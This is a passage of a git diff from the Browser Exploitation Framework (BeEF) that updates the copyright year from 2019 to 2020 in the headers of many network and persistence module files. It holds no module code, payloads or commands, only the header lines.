See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb b/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb index 9343908d0..974163cae 100644 --- a/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb +++ b/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ADC/f5_bigip_cookie_stealing/command.js b/modules/network/ADC/f5_bigip_cookie_stealing/command.js index 491fd23ed..564471b21 100644 --- a/modules/network/ADC/f5_bigip_cookie_stealing/command.js +++ b/modules/network/ADC/f5_bigip_cookie_stealing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml b/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml index b7e113d21..fcfe75286 100644 --- a/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml +++ b/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ADC/f5_bigip_cookie_stealing/module.rb b/modules/network/ADC/f5_bigip_cookie_stealing/module.rb index 88faba945..bd6f979f6 100644 --- a/modules/network/ADC/f5_bigip_cookie_stealing/module.rb +++ b/modules/network/ADC/f5_bigip_cookie_stealing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/DOSer/command.js b/modules/network/DOSer/command.js index fab3cd560..989b6f148 100644 --- a/modules/network/DOSer/command.js +++ b/modules/network/DOSer/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/DOSer/config.yaml b/modules/network/DOSer/config.yaml index e95561647..5a6440666 100644 --- a/modules/network/DOSer/config.yaml +++ b/modules/network/DOSer/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/DOSer/module.rb b/modules/network/DOSer/module.rb index c6eab328a..1b0a6e51f 100644 --- a/modules/network/DOSer/module.rb +++ b/modules/network/DOSer/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js index cd6e8333d..2d4e2c7d3 100644 --- a/modules/network/cross_origin_scanner_cors/command.js +++ b/modules/network/cross_origin_scanner_cors/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/cross_origin_scanner_cors/config.yaml b/modules/network/cross_origin_scanner_cors/config.yaml index 1d070fbdc..188a406be 100644 --- a/modules/network/cross_origin_scanner_cors/config.yaml +++ b/modules/network/cross_origin_scanner_cors/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/cross_origin_scanner_cors/module.rb b/modules/network/cross_origin_scanner_cors/module.rb index f71db75ad..12e1533e6 100644 --- a/modules/network/cross_origin_scanner_cors/module.rb +++ b/modules/network/cross_origin_scanner_cors/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/cross_origin_scanner_flash/command.js b/modules/network/cross_origin_scanner_flash/command.js index 185fd3889..0f53dcb6b 100644 --- a/modules/network/cross_origin_scanner_flash/command.js +++ b/modules/network/cross_origin_scanner_flash/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/cross_origin_scanner_flash/config.yaml b/modules/network/cross_origin_scanner_flash/config.yaml index 8d0047a6f..e47d8dd59 100644 --- a/modules/network/cross_origin_scanner_flash/config.yaml +++ b/modules/network/cross_origin_scanner_flash/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/cross_origin_scanner_flash/module.rb b/modules/network/cross_origin_scanner_flash/module.rb index e5d7c9584..81defb689 100644 --- a/modules/network/cross_origin_scanner_flash/module.rb +++ b/modules/network/cross_origin_scanner_flash/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_burp/command.js b/modules/network/detect_burp/command.js index 7d50fea69..b6069b596 100644 --- a/modules/network/detect_burp/command.js +++ b/modules/network/detect_burp/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/detect_burp/config.yaml b/modules/network/detect_burp/config.yaml index f85a18fd5..cb3d03af9 100644 --- a/modules/network/detect_burp/config.yaml +++ b/modules/network/detect_burp/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_burp/module.rb b/modules/network/detect_burp/module.rb index d5ad09713..fe62a7c90 100644 --- a/modules/network/detect_burp/module.rb +++ b/modules/network/detect_burp/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_soc_nets/command.js b/modules/network/detect_soc_nets/command.js index 2f5e69f8a..9616b3bfa 100644 --- a/modules/network/detect_soc_nets/command.js +++ b/modules/network/detect_soc_nets/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/detect_soc_nets/config.yaml b/modules/network/detect_soc_nets/config.yaml index 308f67bbf..75b81be9e 100644 --- a/modules/network/detect_soc_nets/config.yaml +++ b/modules/network/detect_soc_nets/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_soc_nets/module.rb b/modules/network/detect_soc_nets/module.rb index bebad2e99..7f6c9788f 100644 --- a/modules/network/detect_soc_nets/module.rb +++ b/modules/network/detect_soc_nets/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_tor/command.js b/modules/network/detect_tor/command.js index 65a18f79e..5701ac2ba 100644 --- a/modules/network/detect_tor/command.js +++ b/modules/network/detect_tor/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/detect_tor/config.yaml b/modules/network/detect_tor/config.yaml index 87081d324..67b0599c2 100644 --- a/modules/network/detect_tor/config.yaml +++ b/modules/network/detect_tor/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/detect_tor/module.rb b/modules/network/detect_tor/module.rb index 663706f9d..a13ec98bd 100644 --- a/modules/network/detect_tor/module.rb +++ b/modules/network/detect_tor/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/dns_enumeration/command.js b/modules/network/dns_enumeration/command.js index a54a8983f..68d0356c7 100644 --- a/modules/network/dns_enumeration/command.js +++ b/modules/network/dns_enumeration/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/dns_enumeration/config.yaml b/modules/network/dns_enumeration/config.yaml index 344060eaf..d49154b96 100644 --- a/modules/network/dns_enumeration/config.yaml +++ b/modules/network/dns_enumeration/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/dns_enumeration/module.rb b/modules/network/dns_enumeration/module.rb index 656d0c16d..61d605c30 100644 --- a/modules/network/dns_enumeration/module.rb +++ b/modules/network/dns_enumeration/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index 17c2d0569..8bb11d4a2 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/get_http_servers/config.yaml b/modules/network/get_http_servers/config.yaml index 6cd0080cd..afd781277 100644 --- a/modules/network/get_http_servers/config.yaml +++ b/modules/network/get_http_servers/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_http_servers/module.rb b/modules/network/get_http_servers/module.rb index aa0e4cc67..535084fdd 100644 --- a/modules/network/get_http_servers/module.rb +++ b/modules/network/get_http_servers/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_ntop_network_hosts/command.js b/modules/network/get_ntop_network_hosts/command.js index 444b4acfa..bd7db1f91 100644 --- a/modules/network/get_ntop_network_hosts/command.js +++ b/modules/network/get_ntop_network_hosts/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/get_ntop_network_hosts/config.yaml b/modules/network/get_ntop_network_hosts/config.yaml index e92b728a7..ae908cace 100644 --- a/modules/network/get_ntop_network_hosts/config.yaml +++ b/modules/network/get_ntop_network_hosts/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_ntop_network_hosts/module.rb b/modules/network/get_ntop_network_hosts/module.rb index b118ed3b9..9e3c9e0ca 100644 --- a/modules/network/get_ntop_network_hosts/module.rb +++ b/modules/network/get_ntop_network_hosts/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_proxy_servers_wpad/command.js b/modules/network/get_proxy_servers_wpad/command.js index 0112f3e22..5fbd832f9 100644 --- a/modules/network/get_proxy_servers_wpad/command.js +++ b/modules/network/get_proxy_servers_wpad/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/get_proxy_servers_wpad/config.yaml b/modules/network/get_proxy_servers_wpad/config.yaml index d044fef0f..eec31ad52 100644 --- a/modules/network/get_proxy_servers_wpad/config.yaml +++ b/modules/network/get_proxy_servers_wpad/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/get_proxy_servers_wpad/module.rb b/modules/network/get_proxy_servers_wpad/module.rb index 36b112c51..89314e212 100644 --- a/modules/network/get_proxy_servers_wpad/module.rb +++ b/modules/network/get_proxy_servers_wpad/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js index a385b8626..1f213666a 100644 --- a/modules/network/identify_lan_subnets/command.js +++ b/modules/network/identify_lan_subnets/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/identify_lan_subnets/config.yaml b/modules/network/identify_lan_subnets/config.yaml index 6fa63ff6d..9ae63d550 100644 --- a/modules/network/identify_lan_subnets/config.yaml +++ b/modules/network/identify_lan_subnets/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/identify_lan_subnets/module.rb b/modules/network/identify_lan_subnets/module.rb index a8548080a..f95f06504 100644 --- a/modules/network/identify_lan_subnets/module.rb +++ b/modules/network/identify_lan_subnets/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index b8aba18eb..9c45424cb 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/internal_network_fingerprinting/config.yaml b/modules/network/internal_network_fingerprinting/config.yaml index d5675f90d..5611613c8 100644 --- a/modules/network/internal_network_fingerprinting/config.yaml +++ b/modules/network/internal_network_fingerprinting/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/internal_network_fingerprinting/module.rb b/modules/network/internal_network_fingerprinting/module.rb index b48373740..877f2720d 100644 --- a/modules/network/internal_network_fingerprinting/module.rb +++ b/modules/network/internal_network_fingerprinting/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/jslanscanner/command.js b/modules/network/jslanscanner/command.js index bdc552dd7..1f73c6717 100644 --- a/modules/network/jslanscanner/command.js +++ b/modules/network/jslanscanner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/jslanscanner/config.yaml b/modules/network/jslanscanner/config.yaml index 3676ee1f7..227e0f6d5 100644 --- a/modules/network/jslanscanner/config.yaml +++ b/modules/network/jslanscanner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/jslanscanner/module.rb b/modules/network/jslanscanner/module.rb index a990fcad0..e8bb8db8f 100644 --- a/modules/network/jslanscanner/module.rb +++ b/modules/network/jslanscanner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 48c7f9109..c7a2ce589 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index c2fd90e60..61dc0ee4f 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 562e03d65..4b7506a82 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep/command.js b/modules/network/ping_sweep/command.js index 348b40b2d..c74e0dc54 100644 --- a/modules/network/ping_sweep/command.js +++ b/modules/network/ping_sweep/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/ping_sweep/config.yaml b/modules/network/ping_sweep/config.yaml index ebdd9683d..cf522e677 100644 --- a/modules/network/ping_sweep/config.yaml +++ b/modules/network/ping_sweep/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep/module.rb b/modules/network/ping_sweep/module.rb index 47f3fd541..d0b56542d 100644 --- a/modules/network/ping_sweep/module.rb +++ b/modules/network/ping_sweep/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep_ff/command.js b/modules/network/ping_sweep_ff/command.js index ccb1c1e4c..693d12715 100644 --- a/modules/network/ping_sweep_ff/command.js +++ b/modules/network/ping_sweep_ff/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/ping_sweep_ff/config.yaml b/modules/network/ping_sweep_ff/config.yaml index 50189c5c0..39e396cec 100644 --- a/modules/network/ping_sweep_ff/config.yaml +++ b/modules/network/ping_sweep_ff/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep_ff/module.rb b/modules/network/ping_sweep_ff/module.rb index 25f8ad4c2..5bd08306a 100644 --- a/modules/network/ping_sweep_ff/module.rb +++ b/modules/network/ping_sweep_ff/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep_java/command.js b/modules/network/ping_sweep_java/command.js index 05494c905..82cd12b8a 100644 --- a/modules/network/ping_sweep_java/command.js +++ b/modules/network/ping_sweep_java/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/ping_sweep_java/config.yaml b/modules/network/ping_sweep_java/config.yaml index 290682d0c..6a263dfc5 100644 --- a/modules/network/ping_sweep_java/config.yaml +++ b/modules/network/ping_sweep_java/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep_java/module.rb b/modules/network/ping_sweep_java/module.rb index 1c08e081a..83ac756b0 100644 --- a/modules/network/ping_sweep_java/module.rb +++ b/modules/network/ping_sweep_java/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ping_sweep_java/pingSweep.java b/modules/network/ping_sweep_java/pingSweep.java index fad1e0fcb..413ecbf21 100644 --- a/modules/network/ping_sweep_java/pingSweep.java +++ b/modules/network/ping_sweep_java/pingSweep.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/network/port_scanner/command.js b/modules/network/port_scanner/command.js index be894b268..6fbc3808e 100644 --- a/modules/network/port_scanner/command.js +++ b/modules/network/port_scanner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/port_scanner/config.yaml b/modules/network/port_scanner/config.yaml index bffb142fc..80eb4150c 100644 --- a/modules/network/port_scanner/config.yaml +++ b/modules/network/port_scanner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/port_scanner/module.rb b/modules/network/port_scanner/module.rb index 77ad3ff66..5883e593e 100644 --- a/modules/network/port_scanner/module.rb +++ b/modules/network/port_scanner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js index 7415cbb4d..59543b34a 100644 --- a/modules/persistence/confirm_close_tab/command.js +++ b/modules/persistence/confirm_close_tab/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/persistence/confirm_close_tab/config.yaml b/modules/persistence/confirm_close_tab/config.yaml index b843e1bad..c25934523 100644 --- a/modules/persistence/confirm_close_tab/config.yaml +++ b/modules/persistence/confirm_close_tab/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb index 753ccc539..f05264b94 100644 --- a/modules/persistence/confirm_close_tab/module.rb +++ b/modules/persistence/confirm_close_tab/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - 